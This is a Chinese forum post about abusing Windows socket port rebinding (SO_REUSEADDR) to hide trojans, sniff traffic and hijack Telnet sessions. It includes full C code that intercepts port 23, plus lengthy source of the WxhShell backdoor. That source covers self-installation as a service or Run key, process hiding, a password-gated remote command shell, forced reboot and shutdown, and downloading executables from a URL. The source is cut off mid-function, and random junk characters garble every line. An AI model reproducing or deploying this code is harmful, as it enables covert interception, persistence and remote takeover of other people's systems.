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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dXWG`G_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7lOAu]Zx  
6."|m+D  
  saddr.sin_family = AF_INET; R4D$)D  
-R$Q`Xw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Us6~7L00  
*Qngx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e Z L!Z!  
Ug[0l)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [ P*L`F  
/w5c:BH  
  这意味着什么?意味着可以进行如下的攻击: Qm[ )[M  
q@mZ0D-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3"HEXJMc  
# b3 14  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ieOw&  
FIJ]`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (h&=N a~  
) [)1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SQ/}K8uZ  
U~|)=+%O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :p1_ij]ND  
Oxi^&f||`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AAi4} 8+\  
gxDyCL$h3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9)F$){G]vs  
XU['lr&,W  
  #include ;F2"gTQS  
  #include >'3nsR  
  #include [MAvU?;  
  #include    vA?3kfL|#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }y|_v^  
  int main() O/l/$pe  
  { h?QGJ^#8  
  WORD wVersionRequested; gE23C*!'&:  
  DWORD ret; Q9g^'a  
  WSADATA wsaData; BgsU:eKe  
  BOOL val; ~:b5UIAk  
  SOCKADDR_IN saddr; uY&t9L8  
  SOCKADDR_IN scaddr; 'Urx83  
  int err; 0b=00./o  
  SOCKET s; 9WL$3z'*  
  SOCKET sc; Fp+fZU  
  int caddsize; On;7  
  HANDLE mt; 9]S;%:64  
  DWORD tid;   8[)"+IFN  
  wVersionRequested = MAKEWORD( 2, 2 ); [Z[ p@Ux  
  err = WSAStartup( wVersionRequested, &wsaData ); 2"Ki5  
  if ( err != 0 ) { ;%/}(&E2  
  printf("error!WSAStartup failed!\n"); ;0dl  
  return -1; Jk`0yJi$q  
  } Qj9'VI>&  
  saddr.sin_family = AF_INET; @ &GA0;q0t  
   ~. 5[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n}J!?zZc  
4g+o/+6!4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ad<ZdO*h  
  saddr.sin_port = htons(23); /p{$HkVw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \NL*$SnxP  
  { q] '2'"k  
  printf("error!socket failed!\n"); F@xKL;'N74  
  return -1; ZyrVv\'  
  } ]%(X }]}  
  val = TRUE; U uSCqI};  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {UuSNZ[^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w!l*!G  
  { .V{y9e+  
  printf("error!setsockopt failed!\n"); 1VPxCB\  
  return -1; !$0ozDmD  
  } e$-Y>Dd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \`?4PQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |zp}u(N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IP#qT `=}  
<[z9*Tm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6 Znt   
  { gGbJk&E  
  ret=GetLastError(); pq,8z= Uf  
  printf("error!bind failed!\n");  LII4sf]  
  return -1; JF9r[%  
  } Tu=~iQ  
  listen(s,2); fp$U%uj  
  while(1) %hA0  
  { rW2   
  caddsize = sizeof(scaddr); ]2mfby  
  //接受连接请求 hhJ>>G4R2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  :D  
  if(sc!=INVALID_SOCKET) -aM7>YR  
  { \~:_ h#bW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UmP\;  
  if(mt==NULL) -pN'r/$3V  
  { f!}e*oX  
  printf("Thread Creat Failed!\n"); MJcWX|(y  
  break; 'q{d? K  
  } "IzM:  
  } `6Yk-5  
  CloseHandle(mt); 6 $5SS#  
  } 8sU}[HH*1  
  closesocket(s); IoxdWQ4]A  
  WSACleanup(); RxGZ#!j/  
  return 0; P?M WT]fY  
  }   Hg+bmwM  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8^qLGUxz  
  { 10..<v7  
  SOCKET ss = (SOCKET)lpParam; R5r CCp  
  SOCKET sc; kO' NT:  
  unsigned char buf[4096]; =BgQ Ss/^c  
  SOCKADDR_IN saddr; Nk$OTDwP  
  long num; Wo/LrCg  
  DWORD val; 5NhwIu^<  
  DWORD ret; ,M9Hdm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y'x+! &H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NfXEW-  
  saddr.sin_family = AF_INET; hWiBLip,z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x|A{|oFC  
  saddr.sin_port = htons(23); 6iJ\7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tQ(gB_  
  { MOu=  
  printf("error!socket failed!\n"); -h#9sl->  
  return -1; QR[i9'`<  
  } V?-OI>  
  val = 100; -hP>;~*4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l'#a2Pl  
  { )C#b83  
  ret = GetLastError(); -<@QR8:  
  return -1; k`r`ZA(kQ-  
  } =o,6iJ^?$m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l#!6 tw+e?  
  { +Am\jsq  
  ret = GetLastError(); KOVR=``"/  
  return -1; W< :7z  
  } 4w(#`'I>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YjwC8#$  
  { [UYE.$Y#(  
  printf("error!socket connect failed!\n"); PG'+vl  
  closesocket(sc); \t%rIr  
  closesocket(ss); m7.6;k.  
  return -1; 69EdMuf  
  } )\fLS d  
  while(1) "' ]|o~B  
  { c>yqq'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 = ^_4u%}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 </) HcRj'e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M%1wT9  
  num = recv(ss,buf,4096,0); O" ,*N  
  if(num>0) "1>48Z-UC  
  send(sc,buf,num,0); hd_<J]C  
  else if(num==0) ^n<o,K4\}  
  break; T8-,t];i  
  num = recv(sc,buf,4096,0); TCetd#;R  
  if(num>0) K_CE.8G&{  
  send(ss,buf,num,0); iCh,7I,m  
  else if(num==0) qI5`:PH%n  
  break; ^z}$ '<D9  
  } M}xyW"yp  
  closesocket(ss); C *U,$8j|}  
  closesocket(sc); 3YJa3fflK  
  return 0 ; q# t&\M.U  
  } )XoIb[s"  
xPorlX)zW  
si`h(VD9w  
========================================================== )CUB7D)=  
/}#@uC  
下边附上一个代码,,WXhSHELL ;TTH  
#^eXnhj9  
========================================================== #Bi8>S  
B0"55g*c  
#include "stdafx.h"  nypG  
0XUWK@)P  
#include <stdio.h> ;]sbz4?  
#include <string.h> &u~#bDh  
#include <windows.h> Tt\G y  
#include <winsock2.h> (|.rEaTA[1  
#include <winsvc.h> [X\~J &kD  
#include <urlmon.h> O#B2XoZa+  
OCN@P+L3q  
#pragma comment (lib, "Ws2_32.lib") HMPb%'U~  
#pragma comment (lib, "urlmon.lib") DNy 6Kw  
vZ/Bzy@|  
#define MAX_USER   100 // 最大客户端连接数 a?ux  
#define BUF_SOCK   200 // sock buffer TjLW<D(i>  
#define KEY_BUFF   255 // 输入 buffer Vs@H>97,G  
qC ku q  
#define REBOOT     0   // 重启 acdF5ch@  
#define SHUTDOWN   1   // 关机 ="__*J#nze  
Rr6}$]1  
#define DEF_PORT   5000 // 监听端口 BoHpfx1C  
CH+mzy  
#define REG_LEN     16   // 注册表键长度 GLE"[!s]f  
#define SVC_LEN     80   // NT服务名长度 K *xca(6  
,7mB`0j>  
// 从dll定义API qttJ*zu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _0EKE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xfADks2w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yHjuT+/wM,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \S[I:fw#&  
t @vb3  
// wxhshell配置信息 p^THoF'~T  
struct WSCFG { ,)%$Zxng  
  int ws_port;         // 监听端口 vG'I|OWg  
  char ws_passstr[REG_LEN]; // 口令 b&\f 8xZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no {'$+?V"&  
  char ws_regname[REG_LEN]; // 注册表键名 rs+ ["h  
  char ws_svcname[REG_LEN]; // 服务名 'jj|bN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wC`+^>WFo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m)Sdo gt_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^q)AO?_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B`?}jJa9*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }`^D O Ar  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "z9 p(|oZ  
#[ ?E,  
}; y';"tDFb  
K4K]oT  
// default Wxhshell configuration } za "rU  
struct WSCFG wscfg={DEF_PORT, c= #V*<  
    "xuhuanlingzhe", : oO ?A  
    1, "1|\V.>>;  
    "Wxhshell", O"V;otlC  
    "Wxhshell", nC(<eL  
            "WxhShell Service", =]m,7v Rq  
    "Wrsky Windows CmdShell Service", EUjA-L(  
    "Please Input Your Password: ", jSd[  
  1, E) z=85;_p  
  "http://www.wrsky.com/wxhshell.exe", TAp8x  
  "Wxhshell.exe" ]mT2a8`c.r  
    }; \ _l4li  
Ze"m;T  
// 消息定义模块 @e:= D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jN T+?2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GiS:Nq`$(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DuI>z?bS  
char *msg_ws_ext="\n\rExit.";  /wT<p  
char *msg_ws_end="\n\rQuit."; J1g+H2  
char *msg_ws_boot="\n\rReboot..."; Eu|O<9U\  
char *msg_ws_poff="\n\rShutdown..."; S:8 WBY]M  
char *msg_ws_down="\n\rSave to "; +sFpIiJg  
br%l>Y\"  
char *msg_ws_err="\n\rErr!"; x". !&5  
char *msg_ws_ok="\n\rOK!"; !yo@i_1D  
.)Zs:5 0l  
char ExeFile[MAX_PATH]; Ci_Qra 6  
int nUser = 0; 8T?D#,/  
HANDLE handles[MAX_USER]; FL E3LH  
int OsIsNt; o8h` 9_  
7ro&Q%  
SERVICE_STATUS       serviceStatus; pj#ls  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z~1uyr(  
uZe"M(3r$  
// 函数声明 d3"QCl  
int Install(void); o1Nfn'!3/>  
int Uninstall(void); &M{;[O{  
int DownloadFile(char *sURL, SOCKET wsh); }*?,&9/_)  
int Boot(int flag); Fxv5kho  
void HideProc(void); `lA_knS  
int GetOsVer(void); :JIJ!Xn)  
int Wxhshell(SOCKET wsl); > PK 6CR  
void TalkWithClient(void *cs); u\Y3h:@u  
int CmdShell(SOCKET sock); G.3yuok9  
int StartFromService(void); Q)Q1a;o  
int StartWxhshell(LPSTR lpCmdLine); t W}"PKv  
MFQyB+Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IxaF *4JG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &a.A8v)  
Z -fiJ75  
// 数据结构和表定义 'Y0h w  
SERVICE_TABLE_ENTRY DispatchTable[] = Gj^*  
{ __Zex5Y#-  
{wscfg.ws_svcname, NTServiceMain}, mx5#K\  
{NULL, NULL} kgh0  
}; s;cGf+  
pGd@%/]AO  
// 自我安装 Zm*qV!  
int Install(void) o3JSh=  
{ "h-ZwL  
  char svExeFile[MAX_PATH]; ==AmL]*  
  HKEY key; pp@O6   
  strcpy(svExeFile,ExeFile); otX/sg.B*  
|u]IOw&1  
// 如果是win9x系统,修改注册表设为自启动 3JEg3|M(  
if(!OsIsNt) { <$??Z;6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7n,=`0{r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4W#DLip9  
  RegCloseKey(key); +{0v@6<(02  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >&ENrvaJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0f#xyS 3  
  RegCloseKey(key); %,(X R`  
  return 0; @FZbp  
    } 0D Lw  
  } ohjl*dw  
} 2Z>8ROv^X  
else { Qk >9o  
zx5#eMD  
// 如果是NT以上系统,安装为系统服务 (67byO{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U"=Lzo.0  
if (schSCManager!=0) 8u%,5GV>Xr  
{ yLPP6_59$  
  SC_HANDLE schService = CreateService 0 9qfnQG  
  ( Y"L|D,ex  
  schSCManager, QBh*x/J  
  wscfg.ws_svcname, pu5%$}dBE  
  wscfg.ws_svcdisp, IhRdn1&  
  SERVICE_ALL_ACCESS, Dt! <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (eAz nTU  
  SERVICE_AUTO_START, 7>=  
  SERVICE_ERROR_NORMAL, 0SQrz$y  
  svExeFile, pHXs+Ysw+  
  NULL, bh(} f.@ 9  
  NULL, ?) T@qn+  
  NULL, <4n"LJ9  
  NULL, @lWYc`>}  
  NULL =3ovaP  
  ); 9kh MG$  
  if (schService!=0) H+Aidsn  
  { =X9fn  
  CloseServiceHandle(schService); NeJ->x,  
  CloseServiceHandle(schSCManager); W,"Re,`H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u=tp80_  
  strcat(svExeFile,wscfg.ws_svcname); *?\u5O(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UVXSW*$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w{t]^w:  
  RegCloseKey(key); C`R<55x6  
  return 0; iL2__TO  
    } A{e>7Z72  
  } w3z'ZCcr;"  
  CloseServiceHandle(schSCManager); ':3[?d1Es  
} /EG'I{oC  
} o".,JnbX l  
bYoBJ #UX  
return 1; 8 /%{xB^  
} :dpwr9)  
!FDd5CS  
// 自我卸载 &Q#*Nnb3  
int Uninstall(void) li,rPUCt  
{ )E}@h%d  
  HKEY key; k>\v]&|T`  
qZ4)) X  
if(!OsIsNt) { >JAWcT)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &_u.q/~   
  RegDeleteValue(key,wscfg.ws_regname); ALV(fv$cD  
  RegCloseKey(key); ,i1BoG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &=MVX>[  
  RegDeleteValue(key,wscfg.ws_regname); ^/6P~iK'  
  RegCloseKey(key); I)yF!E &  
  return 0; k~gOL#$  
  } XK\3"`kd  
} Oet+$ b  
} ,<Z,-0S  
else { 1= 7ASS9  
UhrRB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eWN g?*/  
if (schSCManager!=0) CmV &+C$V%  
{ !\$V?*p7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jJ-C\ v  
  if (schService!=0) (^(l=EN-<  
  { >:4`y"0  
  if(DeleteService(schService)!=0) { e#,(a  
  CloseServiceHandle(schService); C<3<,~gI  
  CloseServiceHandle(schSCManager); #UhH  
  return 0; .#-F@0a  
  } g8l6bh$}  
  CloseServiceHandle(schService); H%XF~tF:  
  } l? U!rFRq`  
  CloseServiceHandle(schSCManager); Sb> &m  
} pB#I_?(  
} +wJ!zab`  
awwSgy  
return 1; 0Sz[u\w  
} s5rD+g]E`  
@"MQ6u G>  
// 从指定url下载文件 [8^q3o7n  
int DownloadFile(char *sURL, SOCKET wsh) hl7 z1h  
{ /aMOZ=,q}  
  HRESULT hr; aWlIq(dU  
char seps[]= "/"; hxK;f  
char *token; w]yVNB  
char *file; B~7!v${  
char myURL[MAX_PATH]; oda,  
char myFILE[MAX_PATH]; ruGeN  
}{VOyPG  
strcpy(myURL,sURL); fggs ;Le  
  token=strtok(myURL,seps); -F[@)$L  
  while(token!=NULL) QF\nf_X  
  { (S?Y3l|  
    file=token;  5QLK  
  token=strtok(NULL,seps); as!a!1  
  } ($kw*H{Ah^  
\0d'y#Gp*  
GetCurrentDirectory(MAX_PATH,myFILE); ,aLwOmO  
strcat(myFILE, "\\"); W.?/p~  
strcat(myFILE, file); E "}@SaB-  
  send(wsh,myFILE,strlen(myFILE),0); : S3+UT  
send(wsh,"...",3,0); _1&Ar4:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (or"5}\6-  
  if(hr==S_OK) R6O v  
return 0; z-606g  
else -PAEJn5$O  
return 1; |Ia9bg'1U  
p/?o^_s  
} 8"9&x} tl-  
>>,G3/Zd*  
// 系统电源模块 F{!pii5O9  
int Boot(int flag) No} U[u.O  
{ ,d,2Q  
  HANDLE hToken; Xs2 jR14`  
  TOKEN_PRIVILEGES tkp; w|-3X  
]5c(:T F  
  if(OsIsNt) { %:d7Ts&?Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t+iHsCG)>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;//9,x9;t  
    tkp.PrivilegeCount = 1; U:C:ugm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *k}m?;esb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xNf}f 9 l  
if(flag==REBOOT) { MCmb/.&wu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xdm\[s  
  return 0; {]<c6*gQ  
} \ agZ D+  
else { T5."3i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1.F&gP)9  
  return 0; LK~aLa5wG  
} 8ROKfPj;z  
  } p8_^6wfg  
  else { ]*\MIz{56'  
if(flag==REBOOT) { hj9TiH/+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Td|u@l4B  
  return 0; 14B',]`  
} %7)TiT4V  
else { 3X`9&0:j%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $M 8& &M  
  return 0; >ep<W<b  
} 31a,i2Q4  
} { uaDpRt  
GDL/5m#  
return 1; () _RLA  
} B/1j4/MS  
Oh*~+/u}q  
// win9x进程隐藏模块 r |C.K  
void HideProc(void) {fzX2qMZ]  
{ bGH#s {'5  
OL>>/T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *x|%Nua"  
  if ( hKernel != NULL ) 6M*z`B{hV  
  { q>.7VN[ vE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C~qZ&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nc k/Dw  
    FreeLibrary(hKernel); 1@}F8&EZ  
  } <|}Z6Ti  
`Npa/Q  
return; xo_STLAw  
} rMDvnF  
'K?h6?#  
// 获取操作系统版本 S)WxTE9  
int GetOsVer(void) RW. qw4  
{ 2{rWAPHgz  
  OSVERSIONINFO winfo; 5-|!mSd   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DQQ]grU  
  GetVersionEx(&winfo); 6DHK&<=D8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l#KcmOz  
  return 1; z4:!*:.Asu  
  else )A7^LLzG  
  return 0; 0!\C@wnH  
} <eG|`  
1_] X  
// 客户端句柄模块 \%a0Lp{ I  
int Wxhshell(SOCKET wsl) 89FAh6uE  
{ ,=u;1  
  SOCKET wsh; 4H-eFs%5  
  struct sockaddr_in client; 3U@jw,K!{A  
  DWORD myID; ]<>cjk.ya  
4>jHS\jc  
  while(nUser<MAX_USER) O2{["c e  
{ [gmov)\c  
  int nSize=sizeof(client); XHk"nbj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *#Cx-J  
  if(wsh==INVALID_SOCKET) return 1; oe|#!SM(  
+; KUL6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kXwAw]ogN  
if(handles[nUser]==0) hu}$\  
  closesocket(wsh); e"S?qpJK  
else P51M?3&=l  
  nUser++; R5uG.Oj-2  
  }  cca g8LC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %;'~TtW5  
j&d5tgLB  
  return 0; %GhI0F #  
} 1Toiqb/  
P8z%*/ 3NF  
// 关闭 socket ,eyh%k*hz  
void CloseIt(SOCKET wsh) 8_('[89m  
{ u9hd%}9Qd?  
closesocket(wsh); Ou_H&R  
nUser--; q5(t2nNb  
ExitThread(0); M&V'*.xz  
} c;VqEpsbl  
'Lrn<  
// 客户端请求句柄 6m:$mhA5  
void TalkWithClient(void *cs) GmH DG-  
{ =0ZRG p  
!?P8[K  
  SOCKET wsh=(SOCKET)cs; xuK"pS  
  char pwd[SVC_LEN]; \?xM% (:<Q  
  char cmd[KEY_BUFF]; |4df)  
char chr[1]; xb,d,(^]R  
int i,j; d0:LJ'<Q  
!O_G%+>5W  
  while (nUser < MAX_USER) { U]cXE1c>F  
Y2r}W3F=  
if(wscfg.ws_passstr) { Q@W/~~N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kB 8^v7o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9J3fiA_  
  //ZeroMemory(pwd,KEY_BUFF); ?\V#^q-  
      i=0; B6  0  
  while(i<SVC_LEN) { Jl{ 0q7b  
nI*.(+h  
  // 设置超时 <fUo@]Lv  
  fd_set FdRead; S^rf^%  
  struct timeval TimeOut; Cyg2o<O@  
  FD_ZERO(&FdRead); )E^S+ps  
  FD_SET(wsh,&FdRead); [YOH'i&X  
  TimeOut.tv_sec=8; Z`S# > o  
  TimeOut.tv_usec=0; w2DC5ei'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ix!xLm9\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m/=nz.  
A=N$5ZJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +RooU?Aq  
  pwd=chr[0]; AP&//b,^M  
  if(chr[0]==0xd || chr[0]==0xa) { CP7dn/  
  pwd=0; C"I jr=w  
  break; t(z]4y  
  } gNCS*a  
  i++; =D`8,n [  
    } Scrj%h%[  
~lj[> |\Oj  
  // 如果是非法用户,关闭 socket E 2n z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?o " Vkc:  
} W"NI^OX  
K[z)ts-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *] i hc u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jWrU'X  
X)b$CG  
while(1) { P[3i!"O>  
25SWIpgG  
  ZeroMemory(cmd,KEY_BUFF); eAy,T<#  
c{M ,K  
      // 自动支持客户端 telnet标准   >#]A2,  
  j=0; sO .MUj;  
  while(j<KEY_BUFF) { gm9*z.S\'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0kE[=#'.'  
  cmd[j]=chr[0]; F&B\ X  
  if(chr[0]==0xa || chr[0]==0xd) { kXz ~ez 7  
  cmd[j]=0; .#( vx;  
  break; Q-<]'E#\(  
  } 6 5g ovor  
  j++; %f]#P8V P  
    } Aw#<:6-  
_uIS[%4g  
  // 下载文件 FZi@h  
  if(strstr(cmd,"http://")) { g|~px$<iY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h(|T.  
  if(DownloadFile(cmd,wsh)) cN,*QN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2K}49*  
  else w!f2~j~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &;@L] o  
  } 2k.VTGak  
  else { X*2W4udF  
cH5i420;aO  
    switch(cmd[0]) { f[o~d`z  
  JEto_&8,C  
  // 帮助 N~)-\T:ap  
  case '?': { `zQuhD 8W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y1PR?c Q  
    break; bzi"7%c  
  } q`<vY'&1  
  // 安装 <[dcIw<7  
  case 'i': { & zDuh[j}  
    if(Install()) f.6>6%l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dNe!X0[  
    else ]C \+b <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )?rq8VO  
    break; B>2R-pa4~  
    } ` Ig5*X4|  
  // 卸载 FV^jCseZ  
  case 'r': { F^%w%E\  
    if(Uninstall()) _b&|0j:Ud  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,)jZ-fw  
    else 6W i n!4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DDrR9}k  
    break; iH(7.?.r  
    } qAjtvc2  
  // 显示 wxhshell 所在路径 SXL3>-Z E  
  case 'p': { 8C3k: D[  
    char svExeFile[MAX_PATH]; z D{]3pg  
    strcpy(svExeFile,"\n\r"); zhn ?;Fi  
      strcat(svExeFile,ExeFile); :60v bO  
        send(wsh,svExeFile,strlen(svExeFile),0); 7#LIGr  
    break; x3O%W?5  
    } *6}M.`.-  
  // 重启 rS1gFGrj  
  case 'b': { #NM)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U)(R4Y6 v  
    if(Boot(REBOOT)) jq~`rE h9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rta}*  
    else { /v!yI$xc  
    closesocket(wsh); 'cO8& |  
    ExitThread(0); p(F@lL-  
    } b <W\#3~G  
    break; I*rUe#$  
    } kvbZx{s  
  // 关机 !JCs'?A  
  case 'd': { 7By7F:[b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? |M-0{  
    if(Boot(SHUTDOWN)) L( 6b2{"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f~a3 {;j  
    else { R~g|w4a@sC  
    closesocket(wsh); !gX xM,R  
